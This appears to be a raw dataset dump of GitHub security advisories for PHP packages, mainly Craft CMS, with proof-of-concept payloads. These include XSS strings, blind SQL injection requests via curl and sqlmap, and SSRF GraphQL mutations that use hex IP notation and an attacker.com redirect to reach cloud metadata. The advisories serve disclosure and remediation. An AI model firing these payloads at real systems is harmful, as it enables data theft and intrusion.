deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-9f5h-mmq6-2x78
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-RC1, <= 5.8.21
Patched in: 5.8.22

Summary: Craft CMS Vulnerable to Stored XSS in Number Prefix & Suffix Fields

Details:
## Summary

A stored XSS vulnerability exists in the Number field type settings. The Prefix and Suffix fields are rendered using the `|md|raw` Twig filter without proper escaping, allowing script execution when the Number field is displayed on users' profiles.

## Proof of Concept

### Required Permissions

- Administrator access
- `allowAdminChanges` is enabled in production, which is against our [security recommendations](https://craftcms.com/knowledge-base/securing-craft).

### Steps to Reproduce
1. Log in with an admin account
2. Navigate to **Settings** → **Fields** → **New field**
3. Choose **Number** as the field type
4. Set the **Prefix/Suffix Text** field to: <img width="611" height="908" alt="image" src="https://github.com/user-attachments/assets/63766ca4-4fa9-490b-8bea[PII_REDACTED]7d" />
```html
<img src=x onerror="alert('Number Prefix/Suffix XSS')" hidden>
```
5. Save the field
6. Add this field to any element (e.g., User Profile fields via **Settings** → **Users** → **User Fields**)
7. Navigate to your account (`/admin/myaccount`) or any user profile (`/admin/users/{id}`)
8. XSS executes when viewing the form <img width="1246" height="677" alt="image-1" src="https://github.com/user-attachments/assets/dafeb2b7-905f-4a4b-b3d6-1c16a905498f" />

## Mitigation
Sanitize prefix/suffix before rendering or use `|e` filter instead of `|raw`.
GitHub Security Advisory: GHSA-2453-mppf-46cj
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 4.0.0-RC1, <= 4.16.17
Patched in: 4.16.18

Summary: Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`

Details:
## Summary

The `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).

> [!NOTE]
> The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.

---
## PoC
### Required Permissions

- Access to the Control Panel

### Steps to reproduce
1. Log in to the control panel
2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)
3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`
4. Modify the JSON body to the following:
```json
{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}
```
5. Send the request
6. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
```bash
curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'
```

### Impact

With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by-character.
- **Modify or destroy data** (drop tables, update records, alter schema).

### Root Cause
The `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.
GitHub Security Advisory: GHSA-2453-mppf-46cj
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 5.0.0-RC1, <= 5.8.21
Patched in: 5.8.22

Summary: Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`

Details:
## Summary

The `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).

> [!NOTE]
> The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.

---
## PoC
### Required Permissions

- Access to the Control Panel

### Steps to reproduce
1. Log in to the control panel
2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)
3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`
4. Modify the JSON body to the following:
```json
{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}
```
5. Send the request
6. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
```bash
curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'
```

### Impact

With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by-character.
- **Modify or destroy data** (drop tables, update records, alter schema).

### Root Cause
The `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.
GitHub Security Advisory: GHSA-m5r2-8p9x-hp5m
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 4.0.0-RC1, <= 4.16.17
Patched in: 4.16.18

Summary: Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

Details:
I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

---
## Summary

The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

---
## Proof of Concept
1. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
```
2. The IP validation passes (hex notation not recognized as IP)
3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`
4. Cloud metadata is fetched and saved

### Alternative Payloads
| Payload | Notation | Resolves To |
|---------|----------|-------------|
| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |
| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |
| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |

---
## Technical Details

**File:** `src/gql/resolvers/mutations/Asset.php`
**Root Cause:** `filter_var($hostname, FILTER_VALIDATE_IP)` only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

```php
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
```
GitHub Security Advisory: GHSA-m5r2-8p9x-hp5m
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 5.0.0-RC1, <= 5.8.21
Patched in: 5.8.22

Summary: Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

Details:
I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

---
## Summary

The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

---
## Proof of Concept
1. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
```
2. The IP validation passes (hex notation not recognized as IP)
3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`
4. Cloud metadata is fetched and saved

### Alternative Payloads
| Payload | Notation | Resolves To |
|---------|----------|-------------|
| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |
| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |
| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |

---
## Technical Details

**File:** `src/gql/resolvers/mutations/Asset.php`
**Root Cause:** `filter_var($hostname, FILTER_VALIDATE_IP)` only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

```php
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
```
GitHub Security Advisory: GHSA-8jr8-7hr4-vhfx
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 4.0.0-RC1, <= 4.16.17
Patched in: 4.16.18

Summary: Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Details:
## Summary
The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

---
## Proof of Concept
1. Host a redirect script on your server (e.g. `redirect.php`):
```php
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
```
2. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
```
3. The application validates `attacker.com` (passes)
4. Guzzle follows the redirect to `169.254.169.254`
5. Cloud metadata is saved as an asset

---
## Mitigation
- Disable redirects.
GitHub Security Advisory: GHSA-8jr8-7hr4-vhfx
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 5.0.0-RC1, <= 5.8.21
Patched in: 5.8.22

Summary: Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Details:
## Summary
The `saveAsset` GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

---
## Proof of Concept
1. Host a redirect script on your server (e.g. `redirect.php`):
```php
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
```
2. Send the following GraphQL mutation:
```graphql
mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}
```
3. The application validates `attacker.com` (passes)
4. Guzzle follows the redirect to `169.254.169.254`
5. Cloud metadata is saved as an asset

---
## Mitigation
- Disable redirects.
GitHub Security Advisory: GHSA-7pr4-wx9w-mqwr
Package: craftcms/cms (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-RC1, <= 5.8.21
Patched in: 5.8.22

Summary: Craft CMS Vulnerable to Stored XSS in Entry Types Name

Details:
## Summary

Stored XSS via Entry Type names. The name is not sanitized when displayed in the Entry Types list.

---
## Proof of Concept

### Required Permissions (Attacker)

- Admin access (only admins have access to the settings page)
- `allowAdminChanges` is enabled in production, which is against our [security recommendations](https://craftcms.com/knowledge-base/securing-craft).

### Steps to Reproduce
1. Log in as an attacker.
2. Go to **Settings** -> **Entry Types** (`/admin/settings/entry-types`).
3. Create a new Entry Type.
4. Set **Name** to:
```html
<img src=x onerror="alert('XSS-EntryTypes')" hidden>
```
5. Save the Entry Type, and you’ll be redirected back to the entry types table automatically.
6. Notice the alert fires when the entry types table renders.
GitHub Security Advisory: GHSA-qjv8-63xq-gq8m
Package: devcode-it/openstamanager (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 2.9.8
Patched in: unpatched

Summary: OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)

Details:
## Summary
A SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.

## Proof of Concept

### Vulnerable Code
**File:** `modules/impianti/ajax/select.php:122-124`

```php
case 'componenti':
    $impianti = $superselect['matricola'];
    if (!empty($impianti)) {
        $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
    }
```

### Data Flow
1. **Source:** `$_GET['options']['matricola']` → `$superselect['matricola']`
2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization
3. **Sink:** Query executed via AJAX framework

### Exploit

**Manual PoC (Time-based Blind SQLi):**
```http
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
```
<img width="1306" height="581" alt="image" src="https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011" />

**SQLMap Exploitation:**
```bash
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --risk=3
```

**SQLMap Output:**
```
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
```
<img width="1228" height="801" alt="image" src="https://github.com/user-attachments/assets/b0b7078b-09a7-4e53-956c-baf1d09ed59b" />

## Impact
- **Data Exfiltration:** Time-based blind SQL Injection allows complete database extraction
- **Authentication Bypass:** Access to sensitive component and equipment data
- **Data Manipulation:** Potential unauthorized modification of records

## Remediation

Cast values to integers before using in SQL:

**Before:**
```php
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
```

**After:**
```php
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $ids = array_map('intval', explode(',', $impianti));
    $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
```

## Credit
Discovered by: Łukasz Rybak
GitHub Security Advisory: GHSA-wq8p-q8cq-94w5
Package: mineadmin/mineadmin (COMPOSER)
Severity: LOW (CVSS 3.1)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.0.0, <= 2.0.3
Patched in: unpatched

Summary: MineAdmin May Expose Sensitive Information to an Unauthorized Actor

Details:
A security vulnerability has been detected in MineAdmin 1.x/2.x. Affected is an unknown function of the file /system/getFileInfoById. Such manipulation of the argument ID leads to information disclosure. It is possible to launch the attack remotely. The attack requires a high level of complexity. The exploitability is told to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-7f7m-83r3-p644
Package: mineadmin/mineadmin (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 1.0.0, <= 2.0.3
Patched in: unpatched

Summary: MineAdmin May Expose Sensitive Information to an Unauthorized Actor

Details:
A security flaw has been discovered in MineAdmin 1.x/2.x. This affects an unknown function of the component Swagger. The manipulation results in information disclosure. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-23hh-2f47-3p4h
Package: mineadmin/mineadmin (COMPOSER)
Severity: LOW (CVSS 6.3)
CWE: CWE-266: Incorrect Privilege Assignment
Vulnerable versions: >= 1.0.0, <= 2.0.3
Patched in: unpatched

Summary: MineAdmin has Incorrect Privilege Assignment

Details:
A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-6w5w-jx4x-vjvw
Package: microweber/microweber (COMPOSER)
Severity: LOW (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.0.20
Patched in: 2.0.20

Summary: Microweber Cross-site Scripting vulnerability

Details:
There is a Cross-site Scripting vulnerability in the "/admin/category/create" endpoint of Microweber 2.0.19. An attacker can manipulate the "rel_id" parameter in a crafted URL and lure a user with admin privileges into visiting it, achieving JavaScript code execution in the victim's browser. The issue was reported to the developers and fixed in version 2.0.20.
GitHub Security Advisory: GHSA-5jg5-xqfw-rv92
Package: microweber/microweber (COMPOSER)
Severity: LOW (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 2.0.20
Patched in: 2.0.20

Summary: Microweber has a Cross-site Scripting vulnerability

Details:
Cross-site Scripting vulnerability in the "/admin/order/abandoned" endpoint of Microweber 2.0.19. An attacker can manipulate the "orderDirection" parameter in a crafted URL and lure a user with admin privileges into visiting it, achieving JavaScript code execution in the victim's browser. The issue was reported to the developers and fixed in version 2.0.20.
GitHub Security Advisory: GHSA-43rr-x62x-q96w
Package: mineadmin/mineadmin (COMPOSER)
Severity: LOW (CVSS 5.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: >= 1.0.0, <= 2.0.3
Patched in: unpatched

Summary: MineAdmin improperly refreshes tokens

Details:
A weakness has been identified in MineAdmin 1.x/2.x. This impacts the function refresh of the file /system/refresh of the component JWT Token Handler. This manipulation causes insufficient verification of data authenticity. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-m7gw-rffq-rxjm
Package: winter/wn-cms-module (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.2.9
Patched in: 1.2.10

Summary: Winter CMS has Stored Cross-site Scripting (XSS) in Asset Manager

Details:
## Impact
Affected versions of Winter CMS allow users with access to the CMS Asset Manager were able to upload SVGs without automatic sanitization.

To actively exploit this security issue, an attacker would need access to the Backend with a user account with the following permission: `cms.manage_assets`

The Winter CMS maintainers strongly recommend that the `cms.manage_assets` permission only be reserved to trusted administrators and developers in general.

## Patches
Sanitization of SVG assets is now applied automatically when uploading through the CMS Asset Manager.

This security issue has been fixed as of https://github.com/wintercms/winter/commit/8a7f74b004fcd19721764fc63af0cdb339d9fb65.

## Workarounds
If users cannot upgrade, they may apply commit https://github.com/wintercms/winter/commit/8a7f74b004fcd19721764fc63af0cdb339d9fb65 to their Winter CMS installation manually to resolve this issue.
GitHub Security Advisory: GHSA-67v7-3g49-mxh2
Package: prestashop/prestashop (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: < 8.2.4
Patched in: 8.2.4

Summary: PrestaShop affected by time based enumeration in FO login form

Details:
### Impact
A time-based user enumeration vulnerability in the user authentication functionality of PrestaShop. This vulnerability allows an attacker to determine whether a customer account exists in the system by measuring response times.

### Patches
8.2.4 and 9.0.3

### Workarounds
none

### References
Found by Lam Yiu Tung